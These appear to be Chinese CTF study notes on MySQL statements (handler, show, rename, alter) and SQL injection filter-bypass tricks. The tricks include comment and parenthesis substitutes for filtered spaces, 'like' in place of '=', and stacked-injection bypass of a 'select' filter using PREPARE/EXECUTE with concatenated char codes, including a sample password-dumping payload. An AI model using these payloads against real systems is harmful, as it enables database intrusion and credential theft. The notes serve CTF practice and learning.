handler语句
handler table_name open:打开一个表的会话
handler table_name read first:读取第一行数据
handler table_name read next:读取第二行数据
handler table_name close:关闭会话
show和rename
show语句
show databases
显示当前数据库名称
show tables
显示当前数据库中所有的表名称
show columns from table_name
显示指定表中的数据类型信息
rename语句
rename table table1 to table2
将table1的名称改为table2
alter语句
alter table table_name add column_name datatype
在指定的表中添加指定的列
alert table table_name change column_name data datatype
指定的表中修改指定的列
default:DEFAULT 约束用于向列中插入默认值。
如果没有规定其他的值,那么会将默认值添加到所有的新记录。
过滤空格
空格被过滤用/**/来绕过;
还可以使用括号来绕过() select(database())
空格处要有)或(其中一个
例如(select(group_concat(password))from(H4rDsq1))
过滤=
等号=被过滤可以用like
来绕过
flag只有一半
flag只被显示出一半
select left(name,25) from table_name
select right(name,25) from table_name
最后得到的结果记得把重叠的部分删除
预处理命令绕过
预处理命令绕过在一次堆叠注入时见过强网杯 2019 随便注。大神的writeupBUUCTF 随便注 WP。本题过滤了select所以可以利用concat拼接字符串然后用预处理命令来绕过。
预处理命令
PREPARE sqla from '[my sql sequece]'; //预定义SQL语句
EXECUTE sqla; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
预处理命令参数变量来传递
set @sql=concat(char(115,101,108,101,99,116)," * from \`1919810931114514\`")
PREPARE sqlb from @sql //定义预处理命令
EXECUTE sqlb //执行预处理命令
(DEALLOCATE || DROP) PREPARE sqlb; // 删除预处理命令